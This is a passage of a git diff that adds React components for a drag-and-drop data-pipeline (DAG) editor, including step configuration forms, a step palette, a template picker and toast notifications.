+        api.addEdge(templateId, { from_step_id: params.source, to_step_id: params.target }, token).catch((e: Error) => toast.error(e.message));
+      }
+    },
+    [setEdges, templateId, token, isDemo],
+  );
+
+  const onAddStep = useCallback(
+    (stepType: StepType, name: string) => {
+      stepCounter++;
+      const id = `new-${stepCounter}-${Date.now()}`;
+      const position = { x: 100 + (stepCounter % 4) * 200, y: 80 + Math.floor(stepCounter / 4) * 120 };
+      const newNode: Node = {
+        id,
+        type: 'dag',
+        position,
+        data: { label: name || stepType, stepType, config: {} } satisfies DagNodeData,
+      };
+      setNodes((nds) => [...nds, newNode]);
+
+      if (!isDemo) {
+        api
+          .addStep(templateId, { name: name || stepType, step_type: stepType, config: {} }, token)
+          .then((created) => {
+            setNodes((nds) =>
+              nds.map((n) => (n.id === id ? { ...n, id: created.id } : n)),
+            );
+            setEdges((eds) =>
+              eds.map((e) => ({
+                ...e,
+                source: e.source === id ? created.id : e.source,
+                target: e.target === id ? created.id : e.target,
+              })),
+            );
+          })
+          .catch((e: Error) => toast.error(e.message));
+      }
+    },
+    [setNodes, setEdges, templateId, token, isDemo],
+  );
+
+  const onDrop = useCallback(
+    (event: React.DragEvent) => {
+      event.preventDefault();
+      const stepType = event.dataTransfer.getData('stepType') as StepType;
+      if (!stepType || !reactFlowInstance || !reactFlowWrapper.current) return;
+
+      const bounds = reactFlowWrapper.current.getBoundingClientRect();
+      const position = reactFlowInstance.screenToFlowPosition({
+        x: event.clientX - bounds.left,
+        y: event.clientY - bounds.top,
+      });
+
+      stepCounter++;
+      const id = `new-${stepCounter}-${Date.now()}`;
+      const newNode: Node = {
+        id,
+        type: 'dag',
+        position,
+        data: { label: stepType.replace(/_/g, ' '), stepType, config: {} } satisfies DagNodeData,
+      };
+      setNodes((nds) => [...nds, newNode]);
+
+      if (!isDemo) {
+        api
+          .addStep(templateId, { name: stepType, step_type: stepType, config: {} }, token)
+          .then((created) => {
+            setNodes((nds) => nds.map((n) => (n.id === id ? { ...n, id: created.id } : n)));
+          })
+          .catch((e: Error) => toast.error(e.message));
+      }
+    },
+    [reactFlowInstance, setNodes, templateId, token, isDemo],
+  );
+
+  const onDragOver = useCallback((event: React.DragEvent) => {
+    event.preventDefault();
+    event.dataTransfer.dropEffect = 'move';
+  }, []);
+
+  const onNodeClick = useCallback((_: React.MouseEvent, node: Node) => {
+    setSelectedStep(node.id);
+  }, []);
+
+  const onUpdateStep = useCallback(
+    (stepId: string, name: string, config: Record<string, unknown>) => {
+      setNodes((nds) =>
+        nds.map((n) =>
+          n.id === stepId ? { ...n, data: { ...n.data, label: name, config } } : n,
+        ),
+      );
+      if (!isDemo) {
+        api.updateStep(templateId, stepId, { name, config }, token).catch((e: Error) => toast.error(e.message));
+      }
+    },
+    [setNodes, templateId, token, isDemo],
+  );
+
+  const onDeleteStep = useCallback(
+    (stepId: string) => {
+      setNodes((nds) => nds.filter((n) => n.id !== stepId));
+      setEdges((eds) => eds.filter((e) => e.source !== stepId && e.target !== stepId));
+      setSelectedStep(null);
+      if (!isDemo) {
+        api.deleteStep(templateId, stepId, token).catch((e: Error) => toast.error(e.message));
+      }
+    },
+    [setNodes, setEdges, templateId, token, isDemo],
+  );
+
+  const onEdgesDelete = useCallback(
+    (deletedEdges: Edge[]) => {
+      if (!isDemo) {
+        for (const edge of deletedEdges) {
+          api.deleteEdge(templateId, edge.id, token).catch((e: Error) => toast.error(e.message));
+        }
+      }
+    },
+    [templateId, token, isDemo],
+  );
+
+  const onValidate = useCallback(async () => {
+    if (isDemo) {
+      // Local validation in demo mode
+      const errors: string[] = [];
+      if (nodes.length === 0) errors.push('DAG has no steps');
+      const result = { valid: errors.length === 0, errors };
+      setValidationResult(result);
+      if (result.valid) toast.success('DAG is valid (demo)');
+      else toast.error(`Validation: ${errors.join(', ')}`);
+      return;
+    }
+    try {
+      const result = await api.validateDag(templateId, token);
+      setValidationResult(result);
+      if (result.valid) toast.success('DAG is valid');
+      else toast.error(`Validation failed: ${result.errors?.join(', ')}`);
+    } catch (e) {
+      const msg = (e as Error).message;
+      setValidationResult({ valid: false, errors: [msg] });
+      toast.error(msg);
+    }
+  }, [templateId, token, toast, isDemo, nodes]);
+
+  const onExecute = useCallback(async () => {
+    if (isDemo) {
+      toast.info('Demo mode — execution is not available without authentication');
+      return;
+    }
+    if (!instanceId) return;
+    setExecuting(true);
+    setValidationResult(null);
+
+    setNodes((nds) =>
+      nds.map((n) => ({ ...n, data: { ...n.data, executionStatus: 'pending', error: undefined } })),
+    );
+
+    try {
+      const result = await api.executeDag(instanceId, {}, token);
+      setNodes((nds) =>
+        nds.map((n) => {
+          const sr = result.step_results.find((r) => r.step_id === n.id);
+          return sr
+            ? { ...n, data: { ...n.data, executionStatus: sr.status, error: sr.error } }
+            : n;
+        }),
+      );
+      toast.success(`Execution complete: ${result.completed_steps}/${result.total_steps} steps`);
+    } catch (e) {
+      const msg = (e as Error).message;
+      setValidationResult({ valid: false, errors: [msg] });
+      toast.error(msg);
+    } finally {
+      setExecuting(false);
+    }
+  }, [instanceId, templateId, token, setNodes, toast]);
+
+  const selectedNode = nodes.find((n) => n.id === selectedStep);
+
+  return (
+    <div ref={reactFlowWrapper} style={{ width: '100%', height: '100vh' }}>
+      {isDemo && (
+        <div
+          style={{
+            position: 'absolute',
+            top: 0,
+            left: 0,
+            right: 0,
+            zIndex: 20,
+            background: '#ff9800',
+            color: '#fff',
+            textAlign: 'center',
+            padding: '6px 12px',
+            fontSize: 13,
+            fontWeight: 600,
+            display: 'flex',
+            alignItems: 'center',
+            justifyContent: 'center',
+            gap: 12,
+          }}
+        >
+          <span>Demo mode — changes not saved</span>
+          <a
+            href="/login"
+            style={{
+              background: '#fff',
+              color: '#ff9800',
+              padding: '3px 12px',
+              borderRadius: 4,
+              fontSize: 12,
+              fontWeight: 700,
+              textDecoration: 'none',
+              whiteSpace: 'nowrap',
+            }}
+          >
+            Sign Up / Login
+          </a>
+        </div>
+      )}
+      {showTemplatePicker && <TemplatePicker onSelect={onSelectTemplate} />}
+      <ReactFlow
+        nodes={nodes}
+        edges={edges}
+        onNodesChange={onNodesChange}
+        onEdgesChange={onEdgesChange}
+        onConnect={onConnect}
+        onEdgesDelete={onEdgesDelete}
+        onInit={setReactFlowInstance}
+        onDrop={onDrop}
+        onDragOver={onDragOver}
+        onNodeClick={onNodeClick}
+        nodeTypes={nodeTypes}
+        deleteKeyCode={['Backspace', 'Delete']}
+        fitView
+        snapToGrid
+        snapGrid={[20, 20]}
+      >
+        <Controls />
+        <MiniMap
+          nodeColor={(n) => {
+            const data = n.data as unknown as DagNodeData;
+            return stepColor(data.stepType).border;
+          }}
+        />
+        <Background variant={BackgroundVariant.Dots} gap={20} size={1} />
+      </ReactFlow>
+
+      <StepPalette onAddStep={onAddStep} />
+
+      {selectedNode && (
+        <StepConfigPanel
+          stepId={selectedNode.id}
+          stepName={String((selectedNode.data as unknown as DagNodeData).label)}
+          stepType={String((selectedNode.data as unknown as DagNodeData).stepType)}
+          config={(selectedNode.data as unknown as DagNodeData).config ?? {}}
+          onUpdate={onUpdateStep}
+          onDelete={onDeleteStep}
+          onClose={() => setSelectedStep(null)}
+        />
+      )}
+
+      <Toolbar
+        templateId={templateId}
+        onValidate={onValidate}
+        onExecute={onExecute}
+        validationResult={validationResult}
+        executing={executing}
+      />
+    </div>
+  );
+};
+
+// Helpers
+function stepsToNodes(steps: DagStep[]): Node[] {
+  return steps.map((s, i) => ({
+    id: s.id,
+    type: 'dag',
+    position: { x: 100 + (i % 4) * 200, y: 80 + Math.floor(i / 4) * 120 },
+    data: { label: s.name, stepType: s.step_type, config: s.config } satisfies DagNodeData,
+  }));
+}
+
+function apiEdgesToFlowEdges(apiEdges: ApiEdge[]): Edge[] {
+  return apiEdges.map((e) => ({
+    id: e.id,
+    source: e.from_step_id,
+    target: e.to_step_id,
+    animated: true,
+    style: { stroke: '#666' },
+  }));
+}
+
+export default DagEditor;
diff --git a/web/src/components/DagNode.tsx b/web/src/components/DagNode.tsx
new file mode 100644
index 00000000..2d5878a5
--- /dev/null
+++ b/web/src/components/DagNode.tsx
@@ -0,0 +1,74 @@
+import React, { memo } from 'react';
+import { Handle, Position, type NodeProps } from '@xyflow/react';
+import { stepColor, STATUS_COLORS } from '../theme';
+
+export interface DagNodeData {
+  label: string;
+  stepType: string;
+  config: Record<string, unknown>;
+  executionStatus?: string;
+  error?: string;
+  [key: string]: unknown;
+}
+
+const DagNode: React.FC<NodeProps> = memo(({ data }) => {
+  const nodeData = data as unknown as DagNodeData;
+  const color = stepColor(nodeData.stepType);
+  const statusColor = nodeData.executionStatus
+    ? STATUS_COLORS[nodeData.executionStatus] ?? '#9e9e9e'
+    : undefined;
+
+  return (
+    <div
+      style={{
+        padding: '10px 16px',
+        borderRadius: 8,
+        border: `2px solid ${statusColor ?? color.border}`,
+        background: color.bg,
+        minWidth: 160,
+        fontFamily: 'system-ui, sans-serif',
+        boxShadow: statusColor
+          ? `0 0 8px ${statusColor}40`
+          : '0 1px 4px rgba(0,0,0,0.1)',
+        transition: 'all 0.3s ease',
+      }}
+    >
+      <Handle type="target" position={Position.Top} style={{ background: color.border }} />
+
+      <div style={{ display: 'flex', alignItems: 'center', gap: 6, marginBottom: 4 }}>
+        <span style={{ fontSize: 18 }}>{color.icon}</span>
+        <strong style={{ fontSize: 13, color: '#333' }}>{nodeData.label}</strong>
+      </div>
+
+      <div style={{ fontSize: 11, color: '#666', textTransform: 'uppercase', letterSpacing: 0.5 }}>
+        {nodeData.stepType.replace(/_/g, ' ')}
+      </div>
+
+      {nodeData.executionStatus && (
+        <div
+          style={{
+            marginTop: 6,
+            fontSize: 10,
+            fontWeight: 600,
+            color: statusColor,
+            textTransform: 'uppercase',
+          }}
+        >
+          ● {nodeData.executionStatus}
+        </div>
+      )}
+
+      {nodeData.error && (
+        <div style={{ marginTop: 4, fontSize: 10, color: '#f44336', wordBreak: 'break-all' }}>
+          {nodeData.error}
+        </div>
+      )}
+
+      <Handle type="source" position={Position.Bottom} style={{ background: color.border }} />
+    </div>
+  );
+});
+
+DagNode.displayName = 'DagNode';
+
+export default DagNode;
diff --git a/web/src/components/StepConfigPanel.tsx b/web/src/components/StepConfigPanel.tsx
new file mode 100644
index 00000000..2b347c25
--- /dev/null
+++ b/web/src/components/StepConfigPanel.tsx
@@ -0,0 +1,339 @@
+import React, { useState, useEffect } from 'react';
+import { stepColor } from '../theme';
+
+interface StepConfigPanelProps {
+  stepId: string;
+  stepName: string;
+  stepType: string;
+  config: Record<string, unknown>;
+  onUpdate: (stepId: string, name: string, config: Record<string, unknown>) => void;
+  onDelete: (stepId: string) => void;
+  onClose: () => void;
+}
+
+// Field definitions per step type
+interface FieldDef {
+  key: string;
+  label: string;
+  type: 'text' | 'select' | 'number' | 'checkbox';
+  options?: string[];
+  placeholder?: string;
+}
+
+const STEP_FIELDS: Record<string, FieldDef[]> = {
+  source: [
+    { key: 'endpoint_url', label: 'Endpoint URL', type: 'text', placeholder: 'https://api.example.com/data' },
+    { key: 'method', label: 'Method', type: 'select', options: ['GET', 'POST'] },
+    { key: 'headers', label: 'Headers (JSON)', type: 'text', placeholder: '{"Authorization":"Bearer ..."}' },
+    { key: 'polling_interval', label: 'Polling Interval (s)', type: 'number' },
+  ],
+  transform: [
+    { key: 'mapping_expression', label: 'Mapping Expression', type: 'text', placeholder: '$.data.items[*]' },
+    { key: 'filter_expression', label: 'Filter Expression', type: 'text', placeholder: '$.status == "active"' },
+  ],
+  condition: [
+    { key: 'field', label: 'Field', type: 'text', placeholder: '$.status' },
+    { key: 'operator', label: 'Operator', type: 'select', options: ['==', '!=', '>', '<', '>=', '<=', 'contains'] },
+    { key: 'value', label: 'Value', type: 'text', placeholder: 'active' },
+  ],
+  target: [
+    { key: 'endpoint_url', label: 'Endpoint URL', type: 'text', placeholder: 'https://api.example.com/ingest' },
+    { key: 'method', label: 'Method', type: 'select', options: ['POST', 'PUT', 'PATCH'] },
+    { key: 'headers', label: 'Headers (JSON)', type: 'text', placeholder: '{"Content-Type":"application/json"}' },
+    { key: 'batch_size', label: 'Batch Size', type: 'number' },
+  ],
+  ws_source: [
+    { key: 'ws_url', label: 'WebSocket URL', type: 'text', placeholder: 'wss://stream.example.com/ws' },
+    { key: 'reconnect_interval', label: 'Reconnect Interval (s)', type: 'number' },
+  ],
+  ws_target: [
+    { key: 'ws_url', label: 'WebSocket URL', type: 'text', placeholder: 'wss://target.example.com/ws' },
+    { key: 'reconnect_interval', label: 'Reconnect Interval (s)', type: 'number' },
+  ],
+  grpc_source: [
+    { key: 'host', label: 'Host', type: 'text', placeholder: 'grpc.example.com' },
+    { key: 'port', label: 'Port', type: 'number' },
+    { key: 'service', label: 'Service', type: 'text', placeholder: 'my.package.MyService' },
+    { key: 'method', label: 'Method', type: 'text', placeholder: 'StreamData' },
+    { key: 'tls', label: 'TLS', type: 'checkbox' },
+  ],
+  grpc_target: [
+    { key: 'host', label: 'Host', type: 'text', placeholder: 'grpc.example.com' },
+    { key: 'port', label: 'Port', type: 'number' },
+    { key: 'service', label: 'Service', type: 'text', placeholder: 'my.package.MyService' },
+    { key: 'method', label: 'Method', type: 'text', placeholder: 'IngestData' },
+    { key: 'tls', label: 'TLS', type: 'checkbox' },
+  ],
+  http_stream_source: [
+    { key: 'endpoint_url', label: 'Endpoint URL', type: 'text', placeholder: 'https://api.example.com/stream' },
+    { key: 'format', label: 'Format', type: 'select', options: ['sse', 'chunked', 'ndjson'] },
+  ],
+  cdc_source: [
+    { key: 'connection_string', label: 'Connection String', type: 'text', placeholder: 'postgresql://user:pass@host/db' },
+    { key: 'table', label: 'Table', type: 'text', placeholder: 'public.users' },
+    { key: 'schema', label: 'Schema', type: 'text', placeholder: 'public' },
+  ],
+  parallel_split: [
+    { key: 'strategy', label: 'Strategy', type: 'select', options: ['round_robin', 'broadcast', 'hash'] },
+    { key: 'max_parallel', label: 'Max Parallel', type: 'number' },
+  ],
+  parallel_join: [
+    { key: 'strategy', label: 'Strategy', type: 'select', options: ['wait_all', 'wait_any', 'merge'] },
+  ],
+  amqp_source: [
+    { key: 'amqp_url', label: 'AMQP URL', type: 'text', placeholder: 'amqp://guest:guest@localhost:5672/%2f' },
+    { key: 'queue', label: 'Queue', type: 'text', placeholder: 'my_queue' },
+    { key: 'exchange', label: 'Exchange', type: 'text', placeholder: 'my_exchange' },
+    { key: 'routing_key', label: 'Routing Key', type: 'text', placeholder: '#' },
+    { key: 'prefetch_count', label: 'Prefetch Count', type: 'number' },
+    { key: 'auto_ack', label: 'Auto Ack', type: 'checkbox' },
+  ],
+  kafka_source: [
+    { key: 'brokers', label: 'Brokers', type: 'text', placeholder: 'localhost:9092,localhost:9093' },
+    { key: 'topic', label: 'Topic', type: 'text', placeholder: 'my_topic' },
+    { key: 'group_id', label: 'Group ID', type: 'text', placeholder: 'my_consumer_group' },
+    { key: 'auto_offset_reset', label: 'Offset Reset', type: 'select', options: ['earliest', 'latest'] },
+    { key: 'enable_ssl', label: 'SSL', type: 'checkbox' },
+  ],
+};
+
+const StepConfigPanel: React.FC<StepConfigPanelProps> = ({
+  stepId,
+  stepName,
+  stepType,
+  config,
+  onUpdate,
+  onDelete,
+  onClose,
+}) => {
+  const [name, setName] = useState(stepName);
+  const [formData, setFormData] = useState<Record<string, unknown>>({ ...config });
+  const [showAdvanced, setShowAdvanced] = useState(false);
+  const [configJson, setConfigJson] = useState(JSON.stringify(config, null, 2));
+  const [jsonError, setJsonError] = useState<string | null>(null);
+  const color = stepColor(stepType);
+  const fields = STEP_FIELDS[stepType] ?? [];
+
+  useEffect(() => {
+    setFormData({ ...config });
+    setConfigJson(JSON.stringify(config, null, 2));
+  }, [config]);
+
+  const handleFieldChange = (key: string, value: unknown) => {
+    setFormData((prev) => ({ ...prev, [key]: value }));
+  };
+
+  const handleSave = () => {
+    if (showAdvanced) {
+      try {
+        const parsed = JSON.parse(configJson);
+        setJsonError(null);
+        onUpdate(stepId, name, parsed);
+      } catch (e) {
+        setJsonError((e as Error).message);
+      }
+    } else {
+      onUpdate(stepId, name, formData);
+    }
+  };
+
+  const inputStyle: React.CSSProperties = {
+    width: '100%',
+    padding: '6px 10px',
+    border: '1px solid #ddd',
+    borderRadius: 4,
+    fontSize: 13,
+    boxSizing: 'border-box',
+  };
+
+  const labelStyle: React.CSSProperties = {
+    fontSize: 11,
+    fontWeight: 600,
+    color: '#666',
+    display: 'block',
+    marginTop: 10,
+    marginBottom: 4,
+  };
+
+  return (
+    <div
+      style={{
+        position: 'absolute',
+        top: 10,
+        right: 10,
+        zIndex: 10,
+        background: '#fff',
+        borderRadius: 8,
+        boxShadow: '0 2px 12px rgba(0,0,0,0.15)',
+        width: 300,
+        fontFamily: 'system-ui, sans-serif',
+        maxHeight: '90vh',
+        overflowY: 'auto',
+      }}
+    >
+      <div
+        style={{
+          padding: '10px 14px',
+          borderBottom: '1px solid #eee',
+          display: 'flex',
+          justifyContent: 'space-between',
+          alignItems: 'center',
+        }}
+      >
+        <div style={{ display: 'flex', alignItems: 'center', gap: 6 }}>
+          <span>{color.icon}</span>
+          <strong style={{ fontSize: 13 }}>Configure Step</strong>
+        </div>
+        <button
+          onClick={onClose}
+          style={{ background: 'none', border: 'none', cursor: 'pointer', fontSize: 16, color: '#999' }}
+        >
+          ✕
+        </button>
+      </div>
+
+      <div style={{ padding: 14 }}>
+        <label style={{ ...labelStyle, marginTop: 0 }}>Name</label>
+        <input value={name} onChange={(e) => setName(e.target.value)} style={inputStyle} />
+
+        <label style={labelStyle}>Type</label>
+        <div
+          style={{
+            padding: '6px 10px',
+            background: color.bg,
+            border: `1px solid ${color.border}40`,
+            borderRadius: 4,
+            fontSize: 12,
+            color: '#555',
+            fontStyle: 'italic',
+          }}
+        >
+          {stepType.replace(/_/g, ' ')}
+        </div>
+
+        {/* Structured form fields */}
+        {!showAdvanced && fields.map((field) => (
+          <div key={field.key}>
+            <label htmlFor={`field-${field.key}`} style={labelStyle}>
+              {field.label}
+            </label>
+            {field.type === 'select' ? (
+              <select
+                id={`field-${field.key}`}
+                value={String(formData[field.key] ?? field.options?.[0] ?? '')}
+                onChange={(e) => handleFieldChange(field.key, e.target.value)}
+                style={inputStyle}
+              >
+                {field.options?.map((opt) => (
+                  <option key={opt} value={opt}>{opt}</option>
+                ))}
+              </select>
+            ) : field.type === 'checkbox' ? (
+              <input
+                id={`field-${field.key}`}
+                type="checkbox"
+                checked={Boolean(formData[field.key])}
+                onChange={(e) => handleFieldChange(field.key, e.target.checked)}
+              />
+            ) : field.type === 'number' ? (
+              <input
+                id={`field-${field.key}`}
+                type="number"
+                value={formData[field.key] != null ? String(formData[field.key]) : ''}
+                onChange={(e) => handleFieldChange(field.key, e.target.value ? Number(e.target.value) : undefined)}
+                placeholder={field.placeholder}
+                style={inputStyle}
+              />
+            ) : (
+              <input
+                id={`field-${field.key}`}
+                type="text"
+                value={String(formData[field.key] ?? '')}
+                onChange={(e) => handleFieldChange(field.key, e.target.value)}
+                placeholder={field.placeholder}
+                style={inputStyle}
+              />
+            )}
+          </div>
+        ))}
+
+        {/* Advanced JSON toggle */}
+        <div
+          onClick={() => {
+            if (!showAdvanced) setConfigJson(JSON.stringify(formData, null, 2));
+            setShowAdvanced(!showAdvanced);
+          }}
+          style={{
+            marginTop: 12,
+            fontSize: 11,
+            color: '#2196f3',
+            cursor: 'pointer',
+            userSelect: 'none',
+          }}
+        >
+          {showAdvanced ? '◀ Structured Form' : 'Advanced JSON ▶'}
+        </div>
+
+        {showAdvanced && (
+          <>
+            <textarea
+              aria-label="json"
+              value={configJson}
+              onChange={(e) => setConfigJson(e.target.value)}
+              rows={8}
+              style={{
+                width: '100%',
+                marginTop: 6,
+                padding: '8px 10px',
+                border: `1px solid ${jsonError ? '#f44336' : '#ddd'}`,
+                borderRadius: 4,
+                fontSize: 12,
+                fontFamily: 'monospace',
+                resize: 'vertical',
+                boxSizing: 'border-box',
+              }}
+            />
+            {jsonError && (
+              <div style={{ fontSize: 11, color: '#f44336', marginTop: 4 }}>{jsonError}</div>
+            )}
+          </>
+        )}
+
+        <div style={{ display: 'flex', gap: 8, marginTop: 14 }}>
+          <button
+            onClick={handleSave}
+            style={{
+              flex: 1,
+              padding: '8px',
+              background: color.border,
+              color: '#fff',
+              border: 'none',
+              borderRadius: 4,
+              cursor: 'pointer',
+              fontSize: 12,
+              fontWeight: 600,
+            }}
+          >
+            Save
+          </button>
+          <button
+            onClick={() => onDelete(stepId)}
+            style={{
+              padding: '8px 12px',
+              background: '#f44336',
+              color: '#fff',
+              border: 'none',
+              borderRadius: 4,
+              cursor: 'pointer',
+              fontSize: 12,
+            }}
+          >
+            Delete
+          </button>
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default StepConfigPanel;
diff --git a/web/src/components/StepPalette.tsx b/web/src/components/StepPalette.tsx
new file mode 100644
index 00000000..08897ee1
--- /dev/null
+++ b/web/src/components/StepPalette.tsx
@@ -0,0 +1,107 @@
+import React, { useState } from 'react';
+import { type StepType } from '../api';
+import { stepColor } from '../theme';
+
+interface StepPaletteProps {
+  onAddStep: (stepType: StepType, name: string) => void;
+}
+
+const StepPalette: React.FC<StepPaletteProps> = ({ onAddStep }) => {
+  const [expanded, setExpanded] = useState(true);
+
+  const categories: Record<string, StepType[]> = {
+    'Sources': ['source', 'cdc_source', 'ws_source', 'grpc_source', 'http_stream_source', 'amqp_source', 'kafka_source'],
+    'Processing': ['transform', 'condition'],
+    'Targets': ['target', 'ws_target', 'grpc_target'],
+    'Parallel': ['parallel_split', 'parallel_join'],
+  };
+
+  return (
+    <div
+      style={{
+        position: 'absolute',
+        top: 10,
+        left: 10,
+        zIndex: 10,
+        background: '#fff',
+        borderRadius: 8,
+        boxShadow: '0 2px 12px rgba(0,0,0,0.15)',
+        width: expanded ? 200 : 40,
+        transition: 'width 0.2s ease',
+        overflow: 'hidden',
+      }}
+    >
+      <div
+        onClick={() => setExpanded((e) => !e)}
+        style={{
+          padding: '8px 12px',
+          cursor: 'pointer',
+          fontWeight: 600,
+          fontSize: 13,
+          borderBottom: expanded ? '1px solid #eee' : 'none',
+          display: 'flex',
+          alignItems: 'center',
+          gap: 6,
+        }}
+      >
+        {expanded ? '◀ Steps' : '▶'}
+      </div>
+
+      {expanded &&
+        Object.entries(categories).map(([category, types]) => (
+          <div key={category} style={{ padding: '4px 0' }}>
+            <div
+              style={{
+                padding: '4px 12px',
+                fontSize: 10,
+                fontWeight: 600,
+                color: '#999',
+                textTransform: 'uppercase',
+                letterSpacing: 0.8,
+              }}
+            >
+              {category}
+            </div>
+            {types.map((type) => {
+              const color = stepColor(type);
+              return (
+                <div
+                  key={type}
+                  draggable
+                  onDragStart={(e) => {
+                    e.dataTransfer.setData('stepType', type);
+                    e.dataTransfer.effectAllowed = 'move';
+                  }}
+                  onClick={() => onAddStep(type, type.replace(/_/g, ' '))}
+                  style={{
+                    padding: '6px 12px',
+                    margin: '2px 8px',
+                    borderRadius: 4,
+                    background: color.bg,
+                    border: `1px solid ${color.border}40`,
+                    cursor: 'grab',
+                    fontSize: 12,
+                    display: 'flex',
+                    alignItems: 'center',
+                    gap: 6,
+                    transition: 'transform 0.1s',
+                  }}
+                  onMouseDown={(e) =>
+                    ((e.target as HTMLElement).style.transform = 'scale(0.97)')
+                  }
+                  onMouseUp={(e) =>
+                    ((e.target as HTMLElement).style.transform = 'scale(1)')
+                  }
+                >
+                  <span>{color.icon}</span>
+                  <span>{type.replace(/_/g, ' ')}</span>
+                </div>
+              );
+            })}
+          </div>
+        ))}
+    </div>
+  );
+};
+
+export default StepPalette;
diff --git a/web/src/components/TemplatePicker.tsx b/web/src/components/TemplatePicker.tsx
new file mode 100644
index 00000000..fd70ad5e
--- /dev/null
+++ b/web/src/components/TemplatePicker.tsx
@@ -0,0 +1,112 @@
+import React from 'react';
+import { STARTER_TEMPLATES, type StarterTemplate } from '../templates';
+import { stepColor } from '../theme';
+
+interface TemplatePickerProps {
+  onSelect: (template: StarterTemplate | null) => void;
+}
+
+const TemplatePicker: React.FC<TemplatePickerProps> = ({ onSelect }) => (
+  <div
+    style={{
+      position: 'absolute',
+      inset: 0,
+      zIndex: 30,
+      background: 'rgba(0,0,0,0.4)',
+      display: 'flex',
+      alignItems: 'center',
+      justifyContent: 'center',
+      fontFamily: 'system-ui, sans-serif',
+    }}
+  >
+    <div
+      style={{
+        background: '#fff',
+        borderRadius: 12,
+        boxShadow: '0 8px 32px rgba(0,0,0,0.2)',
+        padding: 28,
+        maxWidth: 640,
+        width: '90%',
+      }}
+    >
+      <h2 style={{ margin: '0 0 6px', fontSize: 20 }}>Choose a Template</h2>
+      <p style={{ margin: '0 0 20px', fontSize: 13, color: '#666' }}>
+        Start with a pre-built pipeline or create one from scratch.
+      </p>
+
+      <div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: 12 }}>
+        {STARTER_TEMPLATES.map((tpl) => {
+          const types = [...new Set(tpl.steps.map((s) => s.step_type))];
+          return (
+            <div
+              key={tpl.name}
+              onClick={() => onSelect(tpl)}
+              style={{
+                border: '1px solid #e0e0e0',
+                borderRadius: 8,
+                padding: 14,
+                cursor: 'pointer',
+                transition: 'box-shadow 0.15s',
+              }}
+              onMouseEnter={(e) => {
+                (e.currentTarget as HTMLDivElement).style.boxShadow = '0 2px 12px rgba(0,0,0,0.1)';
+              }}
+              onMouseLeave={(e) => {
+                (e.currentTarget as HTMLDivElement).style.boxShadow = 'none';
+              }}
+            >
+              <strong style={{ fontSize: 14 }}>{tpl.name}</strong>
+              <p style={{ fontSize: 12, color: '#666', margin: '4px 0 8px' }}>{tpl.description}</p>
+              <div style={{ display: 'flex', gap: 4, flexWrap: 'wrap' }}>
+                {types.map((t) => (
+                  <span
+                    key={t}
+                    style={{
+                      fontSize: 10,
+                      padding: '2px 6px',
+                      borderRadius: 4,
+                      background: stepColor(t).bg,
+                      color: stepColor(t).border,
+                      border: `1px solid ${stepColor(t).border}40`,
+                    }}
+                  >
+                    {stepColor(t).icon} {t}
+                  </span>
+                ))}
+              </div>
+            </div>
+          );
+        })}
+
+        {/* Blank option */}
+        <div
+          onClick={() => onSelect(null)}
+          style={{
+            border: '2px dashed #ccc',
+            borderRadius: 8,
+            padding: 14,
+            cursor: 'pointer',
+            display: 'flex',
+            alignItems: 'center',
+            justifyContent: 'center',
+            flexDirection: 'column',
+            color: '#999',
+            transition: 'border-color 0.15s',
+          }}
+          onMouseEnter={(e) => {
+            (e.currentTarget as HTMLDivElement).style.borderColor = '#666';
+          }}
+          onMouseLeave={(e) => {
+            (e.currentTarget as HTMLDivElement).style.borderColor = '#ccc';
+          }}
+        >
+          <span style={{ fontSize: 24, marginBottom: 4 }}>✚</span>
+          <strong style={{ fontSize: 14 }}>Blank</strong>
+          <p style={{ fontSize: 12, margin: '4px 0 0' }}>Start from scratch</p>
+        </div>
+      </div>
+    </div>
+  </div>
+);
+
+export default TemplatePicker;
diff --git a/web/src/components/Toast.tsx b/web/src/components/Toast.tsx
new file mode 100644
index 00000000..d9d83425
--- /dev/null
+++ b/web/src/components/Toast.tsx
@@ -0,0 +1,137 @@
+import React, { createContext, useContext, useState, useCallback, useRef, useEffect } from 'react';
+
+type ToastType = 'success' | 'error' | 'info';
+
+interface ToastItem {
+  id: number;
+  type: ToastType;
+  message: string;
+  autoDismiss: boolean;
+}
+
+interface ToastContextValue {
+  success: (message: string) => void;
+  error: (message: string) => void;
+  info: (message: string) => void;
+}
+
+const ToastContext = createContext<ToastContextValue | null>(null);
+
+let nextId = 0;
+
+export function useToast(): ToastContextValue {
+  const ctx = useContext(ToastContext);
+  if (!ctx) throw new Error('useToast must be used inside <ToastProvider>');
+  return ctx;
+}
+
+export const ToastProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => {
+  const [toasts, setToasts] = useState<ToastItem[]>([]);
+  const timersRef = useRef<Map<number, ReturnType<typeof setTimeout>>>(new Map());
+
+  const dismiss = useCallback((id: number) => {
+    setToasts((prev) => prev.filter((t) => t.id !== id));
+    const timer = timersRef.current.get(id);
+    if (timer) {
+      clearTimeout(timer);
+      timersRef.current.delete(id);
+    }
+  }, []);
+
+  const addToast = useCallback((type: ToastType, message: string) => {
+    const id = ++nextId;
+    const autoDismiss = type !== 'error';
+    setToasts((prev) => [...prev, { id, type, message, autoDismiss }]);
+
+    if (autoDismiss) {
+      const timer = setTimeout(() => dismiss(id), 4000);
+      timersRef.current.set(id, timer);
+    }
+  }, [dismiss]);
+
+  useEffect(() => {
+    return () => {
+      timersRef.current.forEach((timer) => clearTimeout(timer));
+    };
+  }, []);
+
+  const ctx: ToastContextValue = {
+    success: (msg) => addToast('success', msg),
+    error: (msg) => addToast('error', msg),
+    info: (msg) => addToast('info', msg),
+  };
+
+  return (
+    <ToastContext.Provider value={ctx}>
+      {children}
+      <ToastContainer toasts={toasts} onDismiss={dismiss} />
+    </ToastContext.Provider>
+  );
+};
+
+const TYPE_STYLES: Record<ToastType, { bg: string; border: string; icon: string }> = {
+  success: { bg: '#e8f5e9', border: '#4caf50', icon: '✓' },
+  error:   { bg: '#ffebee', border: '#f44336', icon: '✕' },
+  info:    { bg: '#e3f2fd', border: '#2196f3', icon: 'ℹ' },
+};
+
+interface ToastContainerProps {
+  toasts?: ToastItem[];
+  onDismiss?: (id: number) => void;
+}
+
+export const ToastContainer: React.FC<ToastContainerProps> = ({ toasts = [], onDismiss }) => {
+  return (
+    <div
+      style={{
+        position: 'fixed',
+        top: 16,
+        right: 16,
+        zIndex: 9999,
+        display: 'flex',
+        flexDirection: 'column',
+        gap: 8,
+        maxWidth: 380,
+      }}
+    >
+      {toasts.map((toast) => {
